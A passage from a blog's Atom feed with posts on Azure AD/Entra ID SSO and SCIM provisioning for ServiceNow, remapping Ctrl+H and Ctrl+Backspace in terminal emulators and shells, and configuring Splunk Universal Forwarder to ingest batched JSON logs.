    <summary type="html">userAccountControl vs. msDS-User-Account-Control-Computed</summary>
    
    
    
    <category term="splunk" scheme="https://mdleom.com/tags/splunk/"/>
    
  </entry>
  
  <entry>
    <title>Azure AD/Entra ID SSO integration with ServiceNow</title>
    <link href="https://mdleom.com/blog/2023/08/27/saml-scim/"/>
    <id>https://mdleom.com/blog/2023/08/27/saml-scim/</id>
    <published>2023-08-27T00:00:00.000Z</published>
    <updated>2024-09-28T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>Single sign-on (SSO) enables a user to access multiple systems using one login. Whenever a user wants to access a system, the system will redirect the user to an identity provider which has an existing account for that user; once the user authenticates with the identity provider successfully, the identity provider will redirect the user back to the system and the user can then access it. The system does not have the user’s password and the identity provider does not share it either.</p><p>In an enterprise environment, SSO provides convenience to the staff and several benefits to the enterprise. Three benefits to the enterprise:</p><ol><li>Less accounts to create (onboarding), maintain and disable&#x2F;delete (offboarding).</li><li>During offboarding, disabling an account from the identity provider will also revoke access to SSO-enabled systems, thus providing better security.</li><li>Identity provider is much more likely to support multi-factor authentication (MFA), enabling more systems to be MFA-secured.</li></ol><p>SSO does not necessarily provide better security all the time. Threat actor can utilise a compromised account to access any SSO-enabled system that the account has prior access, leading to wider blast radius. There are three mitigations to reduce such risk:</p><ol><li>Enforce MFA to minimise the chance of accounts being compromised.</li><li>Limit access to SSO-enabled systems through access control list (ACL).</li><li>Enforce conditional access. For example, identity provider can be configured to prompt for second-factor authentication when accessing a sensitive system, even when the user is already logged in using MFA before. Identity provider could also enforce phish-resistant MFA for access to sensitive systems.</li></ol><h2 id="sso-in-azure-ad">SSO in Azure AD <a href="#sso-in-azure-ad" class="headerlink" title="SSO in Azure AD">§</a></h2><p>Configuring a system to utilise Azure Active Directory (AAD)&#x2F;Entra ID involves setting up <a href="https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language">SAML</a> and optionally <a href="https://en.wikipedia.org/wiki/System_for_Cross-domain_Identity_Management">SCIM</a>. SCIM is only used to provision users, SAML can supply the necessary information (email, name, phone, etc) to the SSO-enabled system to create users on-demand upon first login (of that user) and update the user information in subsequent logins. In ServiceNow SAML configuration, under “User Provisioning” tab, on-demand user provision can be enabled by ticking “Auto Provisioning User” and “Update User Record Upon Each Login”.</p><p>During the initial SAML setup in ServiceNow, it requires a successful test login (using an AAD account, in this case) before SSO can be activated. This will fail if the user does not exist in ServiceNow yet. To pass it, simply create a new ServiceNow user that has the same email as the test AAD account. If you are confident the SAML setting is correct, the test login can be <a href="https://docs.servicenow.com/en-US/bundle/vancouver-platform-security/page/integrate/single-sign-on/task/t_TestIdPConnections.html">made optional</a>. It is easier to utilise the “<a href="https://learn.microsoft.com/en-us/azure/active-directory/saas-apps/servicenow-tutorial#configure-servicenow">Automatically configure</a> ServiceNow” option because it will also configure the transform mapping in ServiceNow which enables it to map SAML attributes (emailaddress, name, etc) to the respective ServiceNow’s sys_user table columns.</p><p>In SAML configuration, AAD uses the “user.userprincipalname” (UPN) attribute as the unique user identifier. UPN is <em>usually</em> equivalent to the email address, so the <a href="https://learn.microsoft.com/en-us/azure/active-directory/saas-apps/servicenow-tutorial#configure-servicenow">AAD guide</a> recommends to change the user identifier to “email” in ServiceNow’s Multi-Provider SSO. However, it is possible for UPN to be different to email and will prevent affected users from accessing ServiceNow. UPN or email is also not immutable, a user may change their email to reflect a name change. This can results in duplicate users, if “Auto Provisioning User” is enabled in ServiceNow.</p><p>Even though <a href="#scim">SCIM</a> can avoid duplicates, users with a recently changed email may still face access issue for a while because AAD SCIM is not real-time and each sync can take up to <a href="https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user#how-long-will-it-take-to-provision-users">30 minutes</a>, longer if the attribute is sourced from on-premise AD (which will needs to be synced-up to AAD using AD Connect, and then to ServiceNow using SCIM).</p><p>To avoid this issue, there are three choices of source attribute that are immutable, each of them is suitable as a unique user identifier in SAML. They do not map with existing ServiceNow sys_user columns, so you will need a new column and a new mapping in the transform map.</p><ol><li><code>user.objectid</code>: for AAD-only environment.</li><li><code>user.onpremisesimmutableid</code>: refers to GUID. AAD uses this attribute as the primary key to identify on-premise AD user.</li><li><code>user.onpremisesecurityidentifier</code>: refers to SID, may not necessarily synced-up to AAD.</li></ol><h2 id="scim">SCIM <a href="#scim" class="headerlink" title="SCIM">§</a></h2><p>With on-demand user provision, it is possible to use SAML without SCIM. However, since a user is only created after the initial SSO login, user lookup will be limited. For example in ServiceNow, a support staff will not be able to enter the “this incident affects user X” field if that user has never login to ServiceNow before. SCIM can provision all users found in an identity provider into a target system. It is also possible to provision based on conditions, such as to exclude generic or service accounts.</p><p>Prior to configuring SCIM in ServiceNow, it is essential to disable SAML on-demand user provision “Auto Provisioning User” and “Update User Record Upon Each Login”. This is to avoid SAML-sourced attribute from overwriting SCIM’s in sys_user table, because SAML mapping does not necessarily match SCIM’s.</p><p>In AAD SCIM, the default primary mapping is userPrincipalName → user_name with user_name being set as the primary key (Show advanced options → Edit attribute list for ServiceNow). A mapping is considered as primary when it has “<a href="https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/customize-application-attributes">Match objects using this attribute</a>“ enabled and has the lowest value in “Matching precedence”. “Match objects…” is to configure SCIM to utilise a mapping to check existence of each user, i.e. provision a user in the target system if it does not exist. Multiple mappings can be used in different order, in case a source attribute is empty. At least one mapping must have “Match objects…” enabled.</p><table><thead><tr><th>user</th><th>employeeId (AAD)</th><th>mail (AAD)</th><th>employee_number (SNow)</th><th>email (SNow)</th></tr></thead><tbody><tr><td>A</td><td>123</td><td><em>empty</em></td><td>123</td><td><em>empty</em></td></tr><tr><td>B</td><td><em>empty</em></td><td><a href="mailto:&#98;&#64;&#101;&#120;&#97;&#x6d;&#112;&#108;&#101;&#x2e;&#99;&#x6f;&#x6d;">b@example.com</a></td><td><em>empty</em></td><td><a href="mailto:&#98;&#64;&#x65;&#x78;&#97;&#109;&#x70;&#x6c;&#101;&#46;&#99;&#111;&#x6d;">b@example.com</a></td></tr></tbody></table><p>What if user B has employeeId later on? There is a (unconfirmed) possibility that it can results in duplicate user B in the target system.</p><table><thead><tr><th>user</th><th>employeeId (AAD)</th><th>mail (AAD)</th><th>employee_number (SNow)</th><th>email (SNow)</th></tr></thead><tbody><tr><td>A</td><td>123</td><td><em>empty</em></td><td>123</td><td><em>empty</em></td></tr><tr><td>B</td><td>456</td><td><a href="mailto:&#x62;&#x40;&#101;&#120;&#x61;&#x6d;&#112;&#108;&#x65;&#x2e;&#99;&#111;&#109;">b@example.com</a></td><td><em>empty</em></td><td><a href="mailto:&#x62;&#64;&#101;&#120;&#x61;&#109;&#x70;&#x6c;&#101;&#x2e;&#x63;&#111;&#109;">b@example.com</a></td></tr><tr><td>B (<em>duplicate in SNow</em>)</td><td>456</td><td><a href="mailto:&#98;&#x40;&#101;&#120;&#x61;&#109;&#x70;&#108;&#101;&#46;&#99;&#111;&#109;">b@example.com</a></td><td>456</td><td><a href="mailto:&#x62;&#x40;&#x65;&#120;&#x61;&#x6d;&#112;&#108;&#101;&#x2e;&#x63;&#111;&#x6d;">b@example.com</a></td></tr></tbody></table><p>This can be avoided by using a <strong>mandatory</strong> and <strong>immutable</strong> AAD attribute. Similar to the three options mentioned in the previous section, they are:</p><ol><li><code>objectId</code></li><li><code>immutableId</code></li><li><code>onPremisesSecurityIdentifier</code></li></ol><p>Steps to configure:</p><ol><li>In ServiceNow, add a new column in sys_user ServiceNow table.</li><li>In AAD SCIM, Show advanced options → Edit attribute list for ServiceNow, add a new attribute with the same name as configured in previous step. Tick “Required” and “Primary”, untick “Primary” in existing attribute (usually “user_name”).</li><li>Add a new mapping with “Match objects” enabled.</li><li>Disable it in existing mapping (usually “userPrincipalName → user_name”).</li><li>Save</li></ol><h2 id="single-space-value">Single-space value <a href="#single-space-value" class="headerlink" title="Single-space value">§</a></h2><p>An interesting issue I encountered which was ultimately caused by an AAD attribute that had a value of just a single space. I initially configured a SCIM mapping as follow: <code>Coalesce([attributeA], [attributeB]) -&gt; u_column_z</code> where <code>Coalesce()</code> returns the first non-empty attribute. I knew attributeB is never empty, however somehow some users had <em>(blank)</em> value in their “u_column_z” field.</p><p>I fired up the Expression Builder in AAD SCIM and tried <code>Coalesce([attributeA], [attributeB])</code> on one of the affected users. It returned “Your expression is valid, but your expression evaluated to an empty string”. Tried <code>ToUpper([attributeA])</code>, same. Tried <code>IsNullorEmpty([attributeA])</code>, got “false”. If an attribute has empty value, it will return “null”. So, this meant attributeA is not empty. But what could it be?</p><pre><code class="hljs plaintext">IIF([attributeA]=&quot; &quot;, &quot;space&quot;, &quot;no space&quot;)space</code></pre><p>AAD SCIM trims any leading and trailing whitespaces in the output, similar to <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/trim"><code>trim()</code></a> JavaScript method.</p><p>Aside from an obvious fix by removing that space in AAD, a workaround like “Coalesce(Trim([attributeA]), [attributeB])” works too.</p>]]></content>
    
    
    <summary type="html">Difference between SAML and SCIM</summary>
    
    
    
    <category term="sso" scheme="https://mdleom.com/tags/sso/"/>
    
    <category term="servicenow" scheme="https://mdleom.com/tags/servicenow/"/>
    
    <category term="azure-ad" scheme="https://mdleom.com/tags/azure-ad/"/>
    
  </entry>
  
  <entry>
    <title>Mapping Ctrl+H to Backspace in terminal emulator</title>
    <link href="https://mdleom.com/blog/2023/07/17/ctrl-h-backspace/"/>
    <id>https://mdleom.com/blog/2023/07/17/ctrl-h-backspace/</id>
    <published>2023-07-17T00:00:00.000Z</published>
    <updated>2023-07-17T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>A few months ago, there was <a href="https://www.masteringemacs.org/article/keyboard-shortcuts-every-command-line-hacker-should-know-about-gnu-readline">an article</a> which encouraged Linux users to use more readline keyboard shortcuts. readline keyboard shortcuts are based on Emacs keybindings, while also support switching to vi keybindings. At that time, I was only familiar with <code>Ctrl+a</code> (line start) and <code>Ctrl+e</code> (line end). Interested to learn more tricks, I went on search for a cheatsheet and <a href="https://clementc.github.io/blog/2018/01/25/moving_cli/">found this</a>. I then added two missing shortcuts (<code>Ctrl+h</code> &amp; <code>Ctrl+d</code>), printed it out and stick it to my desk.</p><p><a href="/img/20230717/readline-shortcuts.png"><img srcset="/images/320/20230717/readline-shortcuts.png 320w,/images/468/20230717/readline-shortcuts.png 468w,/images/768/20230717/readline-shortcuts.png 768w,/images/20230717/readline-shortcuts.png 800w" sizes="(max-width: 320px) 320px,(max-width: 468px) 468px,(max-width: 768px) 768px,800px" src="/images/20230717/readline-shortcuts.png" title="readline keyboard shortcuts" alt="readline keyboard shortcuts" loading="lazy"></a></p><p>However there were two shortcuts which did not work as intended: <code>Ctrl+h</code> and <code>Ctrl+Backspace</code>. The first one is <a href="https://en.wikipedia.org/wiki/GNU_Readline#Emacs_keyboard_shortcuts">supposed to</a> be equivalent to backspace, but it was deleting previous word just like <code>Ctrl+Backspace</code> or <code>Ctrl+w</code>. The second one did not work on PowerShell’s Emacs mode.</p><p>While looking for a workaround for other terminal and shell, I find it helpful to remember these two facts so that you can stay on the right track.</p><ul><li>$TERM does not refer to the terminal emulator</li><li>Shell does not recognise Ctrl+Backspace</li></ul><h2 id="term-is-not-the-terminal-emulator">$TERM is not the terminal emulator <a href="#term-is-not-the-terminal-emulator" class="headerlink" title="$TERM is not the terminal emulator">§</a></h2><p>In Kitty, <code>$TERM</code> is “xterm-kitty”; most other Linux terminals output it as “xterm-256color”. The value actually refers to the “<a href="https://en.wikipedia.org/wiki/Terminfo">terminfo</a>“ being used and not the <a href="https://en.wikipedia.org/wiki/Xterm">terminal emulator</a>.</p><h2 id="shell-does-not-recognise-ctrl-backspace">Shell does not recognise Ctrl+Backspace <a href="#shell-does-not-recognise-ctrl-backspace" class="headerlink" title="Shell does not recognise Ctrl+Backspace">§</a></h2><p>When Ctrl+Backspace is pressed, a terminal emulator either sends “^?” or “^H” <a href="https://en.wikipedia.org/wiki/C0_and_C1_control_codes#C0_controls">control character</a> to the shell, which then initiate an action (e.g. “backward-kill-word”).</p><p>“^[character]“ is first and foremost a <a href="https://en.wikipedia.org/wiki/Caret_notation">caret notation</a> of a control character, a friendlier representation of hexadecimal, much like hexadecimal is a nicer representation of binary. “^H” actually means control-code-8 (H is the eighth letter), instead of representing <code>Ctrl+h</code>. “^H” can be entered using <code>Ctrl+h</code> simply because it is more practical than having a dedicated key for each control character on a keyboard.</p><h2 id="remap-ctrl-h-to">Remap Ctrl+h to ^? <a href="#remap-ctrl-h-to" class="headerlink" title="Remap Ctrl+h to ^?">§</a></h2><p>Most terminal emulators map <code>Backspace</code> to “^?” and <code>Ctrl+Backspace</code> to “^H”. Since <code>Ctrl+h</code> is also mapped to “^H”, thus sharing a similar action (“backward-kill-word”) with <code>Ctrl+Backspace</code>. The easiest fix is to remap <code>Ctrl+h</code> to “^?”. This approach only needs to configure the terminal emulator.</p><p>To check which control character is mapped to:</p><pre><code class="hljs plaintext">$ showkey -a# backspace^?   127 0177 0x7f# ctrl+ backspace^H    8 0010 0x08</code></pre><h3 id="kitty">kitty <a href="#kitty" class="headerlink" title="kitty">§</a></h3><p><code>map ctrl+h send_text normal \x7f</code></p><p>Add the above line to the end of “$HOME&#x2F;.config&#x2F;kitty&#x2F;kitty.conf”. “7f” is the hex of “^?”.</p><p>Press <code>Ctrl+Shirt+F5</code> to reload the config and run <code>showkey -a</code> to verify <code>Ctrl+h</code> has been remapped.</p><pre><code class="hljs plaintext">$ showkey -a# ctrl+h^?   127 0177 0x7f</code></pre><h3 id="windows-terminal">Windows Terminal <a href="#windows-terminal" class="headerlink" title="Windows Terminal">§</a></h3><p>Go Settings → Open JSON file which will open “$home\AppData\Local\Packages\Microsoft.WindowsTerminal_xxx\LocalState\settings.json”. Under <code>&quot;actions&quot;</code> list, append the following object.</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sendInput&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;input&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;\u007F&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;keys&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ctrl+h&quot;</span><span class="hljs-punctuation">&#125;</span></code></pre><h2 id="map-ctrl-backspace-to-backward-kill-word">Map Ctrl+Backspace to backward-kill-word <a href="#map-ctrl-backspace-to-backward-kill-word" class="headerlink" title="Map Ctrl+Backspace to backward-kill-word">§</a></h2><p><code>Ctrl+Backspace</code> does not work as expected when I switch the PowerShell’s edit mode to Emacs <code>Set-PSReadLineOption -EditMode Emacs</code>, even though it works in the default <code>Cmd</code> mode. This is because PowerShell binds it to <a href="https://learn.microsoft.com/en-us/powershell/module/psreadline/about/about_psreadline_functions#backwarddeletechar"><code>BackwardDeleteChar</code></a> in Emacs mode. Somehow I could not remap it to “^H” (<code>\b</code>).</p><p>Some xterm users also have this issue and a workaround is by <a href="https://www.vinc17.net/unix/ctrl-backspace.en.html">mapping it</a> to an unused escape sequence, then bind it to backward-kill-word in the shell. While Windows Terminal <a href="https://learn.microsoft.com/en-us/windows/terminal/customize-settings/actions#send-input">supports</a> sending an escape sequence, the corresponding binding is <a href="https://github.com/PowerShell/PSReadLine/issues/3430">not supported</a> in PowerShell. Instead of using escape sequence, let’s use a unicode character, specifically a character within the range of <a href="https://en.wikipedia.org/wiki/Private_Use_Areas">private use area</a> (<code>U+E888-U+F8FF</code>) to avoid conflict with existing characters. I choose <code>U+E888</code> for this example.</p><p>Anyhow, it is only a tiny issue for me since I can always use <code>Ctrl+w</code>.</p><h3 id="windows-terminal-1">Windows Terminal <a href="#windows-terminal-1" class="headerlink" title="Windows Terminal">§</a></h3><p>Go Settings → Open JSON file which will open “$home\AppData\Local\Packages\Microsoft.WindowsTerminal_xxx\LocalState\settings.json”. Under <code>&quot;actions&quot;</code> list, append the following object.</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sendInput&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;input&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;\uE888&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;keys&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ctrl+backspace&quot;</span><span class="hljs-punctuation">&#125;</span></code></pre><h4 id="powershell">PowerShell <a href="#powershell" class="headerlink" title="PowerShell">§</a></h4><pre><div class="caption"><span>$PROFILE</span></div><code class="hljs ps"><span class="hljs-built_in">Set-PSReadLineKeyHandler</span> <span class="hljs-literal">-Chord</span> <span class="hljs-string">&quot;`u&#123;E888&#125;&quot;</span> <span class="hljs-literal">-Function</span> BackwardKillWord</code></pre><p>The following Windows Terminal + PowerShell configs did not work for me. Windows Terminal did yield the correct control character, but somehow PowerShell could not recognise it.</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sendInput&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;input&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;\u007F&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;keys&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;backspace&quot;</span><span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;command&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;action&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;sendInput&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;input&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;\b&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;keys&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ctrl+backspace&quot;</span><span class="hljs-punctuation">&#125;</span></code></pre><pre><div class="caption"><span>$PROFILE</span></div><code class="hljs ps"><span class="hljs-built_in">Set-PSReadLineKeyHandler</span> <span class="hljs-literal">-Chord</span> <span class="hljs-string">&quot;`u&#123;007F&#125;&quot;</span> <span class="hljs-literal">-Function</span> BackwardDeleteChar<span class="hljs-built_in">Set-PSReadLineKeyHandler</span> <span class="hljs-literal">-Chord</span> <span class="hljs-string">&quot;`b&quot;</span> <span class="hljs-literal">-Function</span> BackwardKillWord</code></pre><h4 id="zsh">zsh <a href="#zsh" class="headerlink" title="zsh">§</a></h4><pre><div class="caption"><span>$HOME/.zshrc</span></div><code class="hljs sh"><span class="hljs-built_in">bindkey</span> <span class="hljs-string">&#x27;\uE888&#x27;</span> backward-kill-word</code></pre><h4 id="bash">bash <a href="#bash" class="headerlink" title="bash">§</a></h4><pre><div class="caption"><span>$HOME/.bashrc</span></div><code class="hljs sh"><span class="hljs-built_in">bind</span> <span class="hljs-string">&#x27;&quot;\uE888&quot;:backward-kill-word&#x27;</span></code></pre>]]></content>
    
    
    <summary type="html">Also fix Ctrl+Backspace in PowerShell</summary>
    
    
    
    <category term="linux" scheme="https://mdleom.com/tags/linux/"/>
    
    <category term="zsh" scheme="https://mdleom.com/tags/zsh/"/>
    
    <category term="powershell" scheme="https://mdleom.com/tags/powershell/"/>
    
  </entry>
  
  <entry>
    <title>Configure Splunk Universal Forwarder to ingest JSON files</title>
    <link href="https://mdleom.com/blog/2023/06/17/json-splunk-uf/"/>
    <id>https://mdleom.com/blog/2023/06/17/json-splunk-uf/</id>
    <published>2023-06-17T00:00:00.000Z</published>
    <updated>2024-01-05T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>The recommended logging format according to <a href="https://dev.splunk.com/enterprise/docs/developapps/addsupport/logging/loggingbestpractices/#Use-developer-friendly-formats">Splunk best practice</a> looks like this:</p><pre><div class="caption"><span>example.log</span></div><code class="hljs json"><span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;datetime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1672531212123456</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;event_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key3&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value3&quot;</span> <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;datetime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1672531213789012</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;event_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">2</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key3&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value3&quot;</span> <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">&#123;</span> <span class="hljs-attr">&quot;datetime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1672531214345678</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;event_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-attr">&quot;key3&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value3&quot;</span> <span class="hljs-punctuation">&#125;</span></code></pre><ul><li>Each <strong>event</strong> is in JSON, not the file.<ul><li>This also means the log file is not a valid JSON file.</li></ul></li><li>Each event is separated by newline.</li></ul><p>The format can be achieved by exporting live event in JSON and append to a log file. However, I encountered a situation where the log file can only be generated by batch. Exporting the equivalent of the previous “example.log” in JSON without string manipulation looks like this:</p><pre><div class="caption"><span>example.json</span></div><code class="hljs json"><span class="hljs-punctuation">[</span>  <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;datetime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1672531212123456</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;event_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key3&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value3&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;datetime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1672531213789012</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;event_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">2</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key3&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value3&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">,</span>  <span class="hljs-punctuation">&#123;</span>    <span class="hljs-attr">&quot;datetime&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1672531214345678</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;event_id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">3</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key1&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value1&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key2&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value2&quot;</span><span class="hljs-punctuation">,</span>    <span class="hljs-attr">&quot;key3&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;value3&quot;</span>  <span class="hljs-punctuation">&#125;</span><span class="hljs-punctuation">]</span></code></pre><p>I will detail the required configurations in this post, so that Splunk is able to parse it correctly even though “example.json” is not a valid JSON file.</p><h2 id="uf-inputsconf">UF inputs.conf <a href="#uf-inputsconf" class="headerlink" title="UF inputs.conf">§</a></h2><pre><div class="caption"><span>$SPLUNK_HOME/etc/deployment-apps/foo/local/inputs.conf</span></div><code class="hljs plain">[monitor:///var/log/app_a]disabled = 0index = index_namesourcetype = app_a_event</code></pre><p><a href="https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf#MONITOR:"><strong>monitor</strong></a> directive is made up of two parts: <code>monitor://</code> and the path, e.g. <code>/var/log/app_a</code>. Unlike most Splunk configs, this directive does’t require the backslash (used in Windows path) to be escaped, e.g. <code>monitor://C:\foo\bar</code>.</p><p>A path can be a file or a folder. When (*) wildcard matching is used to match multiple folders, another wildcard needs to be specified again to match files in those matched folders. The wildcard works for a single path segment only. For example, to match all the following files, use <code>monitor:///var/log/app_*/*</code>. Splunk also supports “…” for recursive matching.</p><pre><code class="hljs plaintext">/var/log/├── app_a│   ├── 1.log│   ├── 2.log│   └── 3.log├── app_b│   ├── 1.log│   ├── 2.log│   └── 3.log└── app_c    ├── 1.log    ├── 2.log    └── 3.log</code></pre><p>Specify an appropriate value in <strong>sourcetype</strong> config, the value will be the value of <code>sourcetype</code> field in the ingested events under the “monitor” directive. Take note of the value you have configured, it will be used in the rest of configurations.</p><h2 id="forwarder-propsconf">Forwarder props.conf <a href="#forwarder-propsconf" class="headerlink" title="Forwarder props.conf">§</a></h2><pre><div class="caption"><span>props.conf</span></div><code class="hljs plain">[app_a_event]description = App A logsINDEXED_EXTRACTIONS = JSON# separate each object into a lineLINE_BREAKER = &#125;(,)&#123;\&quot;datetime\&quot;# a line represents an eventSHOULD_LINEMERGE = 0TIMESTAMP_FIELDS = datetimeTIME_FORMAT = %s## default is 2000# MAX_DAYS_AGO = 3560</code></pre><p>The directive name should be the <strong>sourcetype</strong> value specified in the <a href="#uf-inputsconf">inputs.conf</a>. The following configs apply to the universal forwarder is because <a href="https://docs.splunk.com/Documentation/Splunk/latest/Data/Extractfieldsfromfileswithstructureddata#Field_extraction_settings_for_forwarded_structured_data_must_be_configured_on_the_forwarder"><code>INDEXED_EXTRACTIONS</code></a> is used.</p><ul><li>LINE_BREAKER: Search for string that matches the regex and replace only the capturing group with newline (\n). This is to separate each event into separate line.<ul><li><code>&#125;(,)&#123;\&quot;datetime\&quot;</code> searches for <code>&#125;,&#123;&quot;datetime&quot;</code> and replaces “,” with “\n”.</li></ul></li><li>SHOULD_LINEMERGE: only used for event that spans multiple lines. In this case, it’s the reverse, the log file has all events in one line.</li><li>TIMESTAMP_FIELDS: Refers to <code>datetime</code> key in the <code>example.json</code>.</li><li>MAX_DAYS_AGO (optional): Specify the value if there are events older than 2,000 days.</li><li>TIME_FORMAT: Optional if Unix time is used, but recommended to specify whenever possible. When Unix time is used, it is not necessary to specify <code>%s%3N</code> when there is <a href="https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Commontimeformatvariables">subsecond</a>.</li></ul><p>The location of “props.conf” depends on whether the universal forwarder is centrally managed by a deployment server.</p><p>Path A: $SPLUNK_HOME&#x2F;etc&#x2F;deployment-apps&#x2F;foo&#x2F;local&#x2F;props.conf<br>Path B: $SPLUNK_HOME&#x2F;etc&#x2F;apps&#x2F;foo&#x2F;local&#x2F;props.conf</p><p>If there is a deployment server, then the config file should be in path A, in which the server will automatically deploy it to path B in the UF. If the UF is not centrally managed, it should head straight to path 